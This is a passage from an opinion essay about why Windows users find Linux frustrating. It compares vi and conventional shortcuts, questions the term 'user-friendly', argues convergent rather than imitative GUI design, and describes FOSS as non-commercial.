Old: There's a leaflet that came in the box. It tells you exactly how to put the bricks together to get a toy car. You don't need to know how, you just need to follow the instructions.

New: Okay, I found the instructions. It's going to take me hours! Why can't they just sell it as a toy car, instead of making you have to build it??

Old: Because not everybody wants to make a toy car with Lego. It can be made into anything we like. That's the whole point.

New: I still don't see why they can't supply it as a car so people who want a car have got one, and other people can take it apart if they want to. Anyway, I finally got it put together, but some bits come off occasionally. What do I do about this? Can I glue it? Old: It's Lego. It's designed to come apart. That's the whole point.

New: But I don't want it to come apart. I just want a toy car! Old: Then why on Earth did you buy a box of Lego??

It's clear to just about anybody that Lego is not really aimed at people who just want a toy car. You don't get conversations like the above in real life. The whole point of Lego is that you have fun building it and you can make anything you like with it. If you've no interest in building anything, Lego's not for you. This is quite obvious.

As far as the long-time Linux user is concerned, the same holds true for Linux: It's an open-source, fully-customizeable set of software. That's the whole point. If you don't want to hack the components a bit, why bother to use it?

But there's been a lot of effort lately to make Linux more suitable for the non-hackers, a situation that's not a million miles away from selling pre-assembled Lego kits, in order to make it appeal to a wider audience. Hence you get conversations that aren't far away from the ones above: Newcomers complain about the existence of what the established users consider to be fundamental features, and resent having the read a manual to get something working. But complaining that there are too many distros; or that software has too many configuration options; or that it doesn't work perfectly out-of-the-box; is like complaining that Lego can be made into too many models, and not liking the fact that it can be broken down into bricks and built into many other things.

So, to avoid problem #3b: Just remember that what Linux seems to be now is not what Linux was in the past. The largest and most necessary part of the Linux community, the hackers and the developers, like Linux because they can fit it together the way they like; they don't like it in spite of having to do all the assembly before they can use it.

Problem #4: Designed for the designer

In the car industry, you'll very rarely find that the person who designed the engine also designed the car interior: It calls for totally different skills. Nobody wants an engine that only looks like it can go fast, and nobody wants an interior that works superbly but is cramped and ugly. And in the same way, in the software industry, the user interface (UI) is not usually created by the people who wrote the software.

In the Linux world, however, this is not so much the case: Projects frequently start out as one man's toy. He does everything himself, and therefore the interface has no need of any kind of "user friendly" features: The user knows everything there is to know about the software, he doesn't need help. Vi is a good example of software deliberately created for a user who already knows how it works: It's not unheard of for new users to reboot their computers because they couldn't figure out how else to get out of vi.

However, there is an important difference between a FOSS programmer and most commercial software writers: The software a FOSS programmer creates is software that he intends to use. So whilst the end result might not be as 'comfortable' for the novice user, they can draw some comfort in knowing that the software is designed by somebody who knows what the end-users needs are: He too is an end-user. This is very different from commercial software writers, who are making software for other people to use: They are not knowledgeable end-users.

So whilst vi has an interface that is hideously unfriendly to new users, it is still in use today because it is such a superb interface once you know how it works. Firefox was created by people who regularly browse the Web. The Gimp was built by people who use it to manipulate graphics files. And so on.

So Linux interfaces are frequently a bit of a minefield for the novice: Despite its popularity, vi should never be considered by a new user who just wants to quickly make a few changes to a file. And if you're using software early in its lifecycle, a polished, user-friendly interface is something you're likely to find only in the "ToDo" list: Functionality comes first. Nobody designs a killer interface and then tries to add functionality bit by bit. They create functionality, and then improve the interface bit by bit.

So to avoid #4 issues: Look for software that's specifically aimed at being easy for new users to use, or accept that some software that has a steeper learning curve than you're used to. To complain that vi isn't friendly enough for new users is to be laughed at for missing the point.

Problem #5: The myth of "user-friendly"

This is a big one. It's a very big term in the computing world, "user-friendly". It's even the name of a particularly good webcomic. But it's a bad term.

The basic concept is good: That software be designed with the needs of the user in mind. But it's always addressed as a single concept, which it isn't.

If you spend your entire life processing text files, your ideal software will be fast and powerful, enabling you to do the maximum amount of work for the minimum amount of effort. Simple keyboard shortcuts and mouseless operation will be of vital importance.

But if you very rarely edit text files, and you just want to write an occasional letter, the last thing you want is to struggle with learning keyboard shortcuts. Well-organized menus and clear icons in toolbars will be your ideal.

Clearly, software designed around the needs of the first user will not be suitable for the second, and vice versa. So how can any software be called "user-friendly", if we all have different needs?

The simple answer: User-friendly is a misnomer, and one that makes a complex situation seem simple.

What does "user-friendly" really mean? Well, in the context in which it is used, "user friendly" software means "Software that can be used to a reasonable level of competence by a user with no previous experience of the software." This has the unfortunate effect of making lousy-but-familiar interfaces fall into the category of "user-friendly".

Subproblem #5a: Familiar is friendly

So it is that in most "user-friendly" text editors and word processors, you Cut and Paste by using Ctrl-X and Ctrl-V. Totally unintuitive, but everybody's used to these combinations, so they count as a "friendly" combination.

So when somebody comes to vi and finds that it's "d" to cut, and "p" to paste, it's not considered friendly: It's not what anybody is used to.

Is it superior? Well, actually, yes.

With the Ctrl-X approach, how do you cut a word from the document you're currently in? (No using the mouse!) From the start of the word, Ctrl-Shift-Right to select the word. Then Ctrl-X to cut it.

The vi approach? dw deletes the word.

How about cutting five words with a Ctrl-X application? From the start of the words, Ctrl-Shift-Right

 
Ctrl-Shift-Right

Ctrl-Shift-Right

Ctrl-Shift-Right

Ctrl-Shift-Right

Ctrl-X

And with vi?

d5w

The vi approach is far more versatile and actually more intuitive: "X" and "V" are not obvious or memorable "Cut" and "Paste" commands, whereas "dw" to delete a word, and "p" to put it back is perfectly straightforward. But "X" and "V" are what we all know, so whilst vi is clearly superior, it's unfamiliar. Ergo, it is considered unfriendly. On no other basis, pure familiarity makes a Windows-like interface seem friendly. And as we learned in problem #1, Linux is necessarily different to Windows. Inescapably, Linux always appears less "user-friendly" than Windows.

To avoid #5a problems, all you can really do is try and remember that "user-friendly" doesn't mean "What I'm used to": Try doing things your usual way, and if it doesn't work, try and work out what a total novice would do.

Subproblem #5b: Inefficient is friendly

This is a sad but inescapable fact. Paradoxically, the harder you make it to access an application's functionality, the friendlier it can seem to be.

This is because friendliness is added to an interface by using simple, visible 'clues' - the more, the better. After all, if a complete novice to computers is put in front of a WYSIWYG word processor and asked to make a bit of text bold, which is more likely:

  • He'll guess that "Ctrl-B" is the usual standard

  • He'll look for clues, and try clicking on the "Edit" menu. Unsuccessful, he'll try the next likely one along the row of menus: "Format". The new menu has a "Font" option, which seems promising. And Hey! There's our "Bold" option. Success!

Next time you do any processing, try doing every job via the menus: No shortcut keys, and no toolbar icons. Menus all the way. You'll find you slow to a crawl, as every task suddenly demands a multitude of keystrokes/mouseclicks.

Making software "user-friendly" in this fashion is like putting training wheels on a bicycle: It lets you get up and running immediately, without any skill or experience needed. It's perfect for a beginner. But nobody out there thinks that all bicycles should be sold with training wheels: If you were given such a bicycle today, I'll wager the first thing you'd do is remove them for being unnecessary encumbrances: Once you know how to ride a bike, training wheels are unnecessary.

And in the same way, a great deal of Linux software is designed without "training wheels" - it's designed for users who already have some basic skills in place. After all, nobody's a permanent novice: Ignorance is short-lived, and knowledge is forever. So the software is designed with the majority in mind.

This might seem an excuse: After all, MS Word has all the friendly menus, and it has toolbar buttons, and it has shortcut keys. . . Best of all worlds, surely? Friendly and efficient.

However, this has to be put into perspective: Firstly, the practicalities: having menus and toolbars and shortcuts and all would mean a lot of coding, and it's not like Linux developers all get paid for their time. Secondly, it still doesn't really take into account serious power-users: Very few professional wordsmiths use MS Word. Ever meet a coder who used MS Word? Compare that to how many use emacs and vi.

Why is this? Firstly, because some "friendly" behaviour rules out efficient behaviour: See the "CutandCopy" example above. And secondly, because most of Word's functionality is buried in menus that you have to use: Only the most common functionality has those handy little buttons in toolbars at the top. The less-used functions that are still vital for serious users just take too long to access.

Something to bear in mind, however, is that "training wheels" are often available as "optional extras" for Linux software: They might not be obvious, but frequently they're available.

Take mplayer. You use it to play a video file by typing mplayer filename in a terminal. You fastforward and rewind using the arrow keys and the PageUp and PageDown keys. This is not overly "user-friendly". However, if you instead type gmplayer filename, you'll get the graphical frontend, with all its nice, friendly , familiar buttons.

Take ripping a CD to MP3 (or Ogg): Using the command-line, you need to use cdparanoia to rip the files to disc. Then you need an encoder. . . It's a hassle, even if you know exactly how to use the packages (imho). So download and install something like Grip. This is an easy-to-use graphical frontend that uses cdparanoia and encoders behind-the-scenes to make it really easy to rip CDs, and even has CDDB support to name the files automatically for you.

The same goes for ripping DVDs: The number of options to pass to transcode is a bit of a nightmare. But using dvd::rip to talk to transcode for you makes the whole thing a simple, GUI-based process which anybody can do.

So to avoid #5b issues: Remember that "training wheels" tend to be bolt-on extras in Linux, rather than being automatically supplied with the main product. And sometimes, "training wheels" just can't be part of the design.

Problem #6: Imitation vs. Convergence

An argument people often make when they find that Linux isn't the Windows clone they wanted is to insist that this is what Linux has been (or should have been) attempting to be since it was created, and that people who don't recognise this and help to make Linux more Windows-like are in the wrong. They draw on many arguments for this:

Linux has gone from Command-Line- to Graphics-based interfaces, a clear attempt to copy Windows

Nice theory, but false: The original X windowing system was released in 1984, as the successor to the W windowing system ported to Unix in 1983. Windows 1.0 was released in 1985. Windows didn't really make it big until version 3, released in 1990 - by which time, X windows had for years been at the X11 stage we use today. Linux itself was only started in 1991. So Linux didn't create a GUI to copy Windows: It simply made use of a GUI that existed long before Windows.

Windows 3 gave way to Windows 95 - making a huge level of changes to the UI that Microsoft has never equalled since. It had many new and innovative features: Drag and drop functionality; taskbars, and so on. All of which have since been copied by Linux, of course.

Actually. . . no. All the above existed prior to Microsoft making use of them. NeXTSTeP in particular was a hugely advanced (for the time) GUI, and it predated Win95 significantly - version 1 released in 1989, and the final version in 1995.

Okay, okay, so Microsoft didn't think up the individual features that we think of as the Windows Look-and-Feel. But it still created a Look-and-Feel, and Linux has been trying to imitate that ever since.

To debunk this, one must discuss the concept of convergent evolution. This is where two completely different and independent systems evolve over time to become very similar. It happens all the time in biology. For example, sharks and dolphins. Both are (typically) fish-eating marine organisms of about the same size. Both have dorsal fins, pectoral fins, tail fins, and similar, streamlined shapes.

However, sharks evolved from fish, while dolphins evolved from a land-based quadrupedal mammal of some sort. The reason they have very similar overall appearances is that they both evolved to be as efficient as possible at living within a marine environment. At no stage did pre-dolphins (the relative newcomers) look at sharks and think "Wow, look at those fins. They work really well. I'll try and evolve some myself!"

Similarly, it's perfectly true to look at early Linux desktops and see FVWM and TWM and a lot of other simplistic GUIs. And then look at modern Linux desktops, and see Gnome and KDE with their taskbars and menus and eye-candy. And yes, it's true to say that they're a lot more like Windows than they used to be.

But then, so is Windows: Windows 3.0 had no taskbar that I remember. And the Start menu? What Start menu?

Linux didn't have a desktop anything like modern Windows. Microsoft didn't either. Now they both do. What does this tell us?

It tells us that developers in both camps looked for ways of improving the GUI, and because there are only a limited number of solutions to a problem, they often used very similar methods. Similarity does not in any way prove or imply imitation. Remembering that will help you avoid straying into problem #6 territory.

Problem #7: That FOSS thing.

Oh, this causes problems. Not intrinsically: The software being free and open-source is a wonderful and immensely important part of the whole thing. But understanding just how different FOSS is from proprietary software can be too big an adjustment for some people to make.

I've already mentioned some instances of this: People thinking they can demand technical support and the like. But it goes far beyond that.

Microsoft's Mission Statement is "A computer on every desktop" - with the unspoken rider that each computer should be running Windows. Microsoft and Apple both sell operating systems, and both do their utmost to make sure their products get used by the largest number of people: They're businesses, out to make money.

And then there is FOSS. Which, even today, is almost entirely non-commercial.

Before you reach for your email client to tell me about Red Hat, Suse, Linspire and all: Yes, I know they "sell" Linux. I know they'd all love Linux to be adopted universally, especially their own flavour of it. But don't confuse the suppliers with the manufacturers. The Linux kernel was not created by a company, and is not maintained by people out to make a profit with it. The GNU tools were not created by a company, and are not maintained by people out to make a profit with them. The X11 windowing system. . . well, the most popular implementation is xorg right now, and the ".org" part should tell you all you need to know. Desktop software: Well, you might be able to make a case for KDE being commercial, since it's Qt-based. But Gnome, Fluxbox, Enlightenment, etc. are all non-profit. There are people out to sell Linux, but they are very much the minority.

Increasing the number of end-users of proprietary software leads to a direct financial benefit to the company that makes it. This is simply not the case for FOSS: There is no direct benefit to any FOSS developer in increasing the userbase. Indirect benefits, yes: Personal pride; an increased potential for finding bugs; more likelihood of attracting new developers; possibly a chance of a good job offer; and so on.

But Linus Torvalds doesn't make money from increased Linux usage. Richard Stallman doesn't get money from increased GNU usage. All those servers running OpenBSD and OpenSSH don't put a penny into the OpenBSD project's pockets. And so we come to the biggest problem of all when it comes to new users and Linux:

They find out they're not wanted.

New users come to Linux after spending their lives using an OS where the end-user's needs are paramount, and "user friendly" and "customer focus" are considered veritable Holy Grails. And they suddenly find themselves using an OS that still relies on 'man' files, the command-line, hand-edited configuration files, and Google. And when they complain, they don't get coddled or promised better things: They get bluntly shown the door.

That's an exaggeration, of course. But it is how a lot of potential Linux converts perceived things when they tried and failed to make the switch.

In an odd way, FOSS is actually a very selfish development method: People only work on what they want to work on, when they want to work on it. Most people don't see any need to make Linux more attractive to inexperienced end-users: It already does what they want it to do, why should they care if it doesn't work for other people?

FOSS has many parallels with the Internet itself: You don't pay the writer of a webpage/the software to download and read/install it. Ubiquitous broadband/User-friendly interfaces are of no great interest to somebody who already has broadband/knows how to use the software. Bloggers/developers don't need to have lots of readers/users to justify blogging/coding. There are lots of people making lots of money off it, but it's not by the old-fashioned "I own this and you have to pay me if you want some of it" method that most businesses are so enamoured of; it's by providing services like tech-support/e-commerce.

Linux is not interested in market share. Linux does not have customers. Linux does not have shareholders, or a responsibility to the bottom line. Linux was not created to make money. Linux does not have the goal of being the most popular and widespread OS on the planet.

All the Linux community wants is to create a really good, fully-featured, free operating system. If that results in Linux becoming a hugely popular OS, then that's great. If that results in Linux having the most intuitive, user-friendly interface ever created, then that's great. If that results in Linux becoming the basis of a multi-billion dollar industry, then that's great.

It's great, but it's not the point. The point is to make Linux the best OS that the community is capable of making. Not for other people: For itself. The oh-so-common threats of "Linux will never take over the desktop unless it does such-and-such" are simply irrelevant: The Linux community isn't trying to take over the desktop. They really don't care if it gets good enough to make it onto your desktop, so long as it stays good enough to remain on theirs. The highly-vocal MS-haters, pro-Linux zealots, and money-making FOSS purveyors might be loud, but they're still minorities.

That's what the Linux community wants: an OS that can be installed by whoever really wants it. So if you're considering switching to Linux, first ask yourself what you really want.

If you want an OS that doesn't chauffeur you around, but hands you the keys, puts you in the driver's seat, and expects you to know what to do: Get Linux. You'll have to devote some time to learning how to use it, but once you've done so, you'll have an OS that you can make sit up and dance.

If you really just want Windows without the malware and security issues: Read up on good security practices; install a good firewall, malware-detector, and anti-virus; replace IE with a more secure browser; and keep yourself up-to-date with security updates. There are people out there (myself included) who've used Windows since 3.1 days right through to XP without ever being infected with a virus or malware: you can do it too. Don't get Linux: It will fail miserably at being what you want it to be.

If you really want the security and performance of a Unix-based OS but with a customer-focussed attitude and an world-renowned interface: Buy an Apple Mac. OS X is great. But don't get Linux: It will not do what you want it to do.

It's not just about "Why should I want Linux?". It's also about "Why should Linux want me?"